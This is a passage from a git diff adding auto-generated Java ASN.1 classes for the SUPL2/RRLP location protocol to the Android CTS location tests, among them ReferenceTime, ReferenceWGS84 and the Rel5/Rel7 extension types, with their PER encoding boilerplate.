+ * Creates a new ReferenceTime from encoded stream.
+ */
+ public static ReferenceTime fromPerAligned(byte[] encodedBytes) {
+ ReferenceTime result = new ReferenceTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTime gpsTime_;
+ public GPSTime getGpsTime() {
+ return gpsTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTime
+ */
+ public void setGpsTime(Asn1Object value) {
+ this.gpsTime_ = (GPSTime) value;
+ }
+ public GPSTime setGpsTimeToNewInstance() {
+ gpsTime_ = new GPSTime();
+ return gpsTime_;
+ }
+
+ private GSMTime gsmTime_;
+ public GSMTime getGsmTime() {
+ return gsmTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMTime
+ */
+ public void setGsmTime(Asn1Object value) {
+ this.gsmTime_ = (GSMTime) value;
+ }
+ public GSMTime setGsmTimeToNewInstance() {
+ gsmTime_ = new GSMTime();
+ return gsmTime_;
+ }
+
+ private GPSTOWAssist gpsTowAssist_;
+ public GPSTOWAssist getGpsTowAssist() {
+ return gpsTowAssist_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTOWAssist
+ */
+ public void setGpsTowAssist(Asn1Object value) {
+ this.gpsTowAssist_ = (GPSTOWAssist) value;
+ }
+ public GPSTOWAssist setGpsTowAssistToNewInstance() {
+ gpsTowAssist_ = new GPSTOWAssist();
+ return gpsTowAssist_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTime : "
+ + getGpsTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGsmTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGsmTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setGsmTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gsmTime : "
+ + getGsmTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTowAssist() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTowAssist();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTowAssistToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTOWAssist.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTowAssist : "
+ + getGpsTowAssist().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java
new file mode 100755
index 0000000..d8937e8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReferenceWGS84 extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceWGS84
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceWGS84() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceWGS84;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceWGS84 != null) {
+ return ImmutableList.of(TAG_ReferenceWGS84);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceWGS84 from encoded stream.
+ */
+ public static ReferenceWGS84 fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceWGS84 result = new ReferenceWGS84();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceWGS84 from encoded stream.
+ */
+ public static ReferenceWGS84 fromPerAligned(byte[] encodedBytes) {
+ ReferenceWGS84 result = new ReferenceWGS84();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RelDistance relativeNorth_;
+ public RelDistance getRelativeNorth() {
+ return relativeNorth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RelDistance
+ */
+ public void setRelativeNorth(Asn1Object value) {
+ this.relativeNorth_ = (RelDistance) value;
+ }
+ public RelDistance setRelativeNorthToNewInstance() {
+ relativeNorth_ = new RelDistance();
+ return relativeNorth_;
+ }
+
+ private RelDistance relativeEast_;
+ public RelDistance getRelativeEast() {
+ return relativeEast_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RelDistance
+ */
+ public void setRelativeEast(Asn1Object value) {
+ this.relativeEast_ = (RelDistance) value;
+ }
+ public RelDistance setRelativeEastToNewInstance() {
+ relativeEast_ = new RelDistance();
+ return relativeEast_;
+ }
+
+ private RelativeAlt relativeAlt_;
+ public RelativeAlt getRelativeAlt() {
+ return relativeAlt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RelativeAlt
+ */
+ public void setRelativeAlt(Asn1Object value) {
+ this.relativeAlt_ = (RelativeAlt) value;
+ }
+ public RelativeAlt setRelativeAltToNewInstance() {
+ relativeAlt_ = new RelativeAlt();
+ return relativeAlt_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelativeNorth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelativeNorth();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelativeNorthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RelDistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relativeNorth : "
+ + getRelativeNorth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelativeEast() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelativeEast();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelativeEastToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RelDistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relativeEast : "
+ + getRelativeEast().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelativeAlt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelativeAlt();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelativeAltToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RelativeAlt.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relativeAlt : "
+ + getRelativeAlt().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceWGS84 = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
new file mode 100755
index 0000000..0986024
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel5_AssistanceData_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel5_AssistanceData_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel5_AssistanceData_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel5_AssistanceData_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel5_AssistanceData_Extension != null) {
+ return ImmutableList.of(TAG_Rel5_AssistanceData_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel5_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel5_AssistanceData_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel5_AssistanceData_Extension result = new Rel5_AssistanceData_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel5_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel5_AssistanceData_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel5_AssistanceData_Extension result = new Rel5_AssistanceData_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel5_AssistanceData_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
new file mode 100755
index 0000000..3d83141
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel5_MsrPosition_Req_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel5_MsrPosition_Req_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel5_MsrPosition_Req_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel5_MsrPosition_Req_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel5_MsrPosition_Req_Extension != null) {
+ return ImmutableList.of(TAG_Rel5_MsrPosition_Req_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel5_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel5_MsrPosition_Req_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel5_MsrPosition_Req_Extension result = new Rel5_MsrPosition_Req_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel5_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel5_MsrPosition_Req_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel5_MsrPosition_Req_Extension result = new Rel5_MsrPosition_Req_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel5_MsrPosition_Req_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
new file mode 100755
index 0000000..93fbf88
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
@@ -0,0 +1,562 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel7_AssistanceData_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel7_AssistanceData_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel7_AssistanceData_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel7_AssistanceData_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel7_AssistanceData_Extension != null) {
+ return ImmutableList.of(TAG_Rel7_AssistanceData_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel7_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel7_AssistanceData_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel7_AssistanceData_Extension result = new Rel7_AssistanceData_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel7_AssistanceData_Extension from encoded stream.
+ */
+ public static Rel7_AssistanceData_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel7_AssistanceData_Extension result = new Rel7_AssistanceData_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSS_AssistData ganss_AssistData_;
+ public GANSS_AssistData getGanss_AssistData() {
+ return ganss_AssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_AssistData
+ */
+ public void setGanss_AssistData(Asn1Object value) {
+ this.ganss_AssistData_ = (GANSS_AssistData) value;
+ }
+ public GANSS_AssistData setGanss_AssistDataToNewInstance() {
+ ganss_AssistData_ = new GANSS_AssistData();
+ return ganss_AssistData_;
+ }
+
+ private Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType ganssCarrierPhaseMeasurementRequest_;
+ public Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType getGanssCarrierPhaseMeasurementRequest() {
+ return ganssCarrierPhaseMeasurementRequest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel7_AssistanceData_Extension.ganssCarrierPhaseMeasurementRequestType
+ */
+ public void setGanssCarrierPhaseMeasurementRequest(Asn1Object value) {
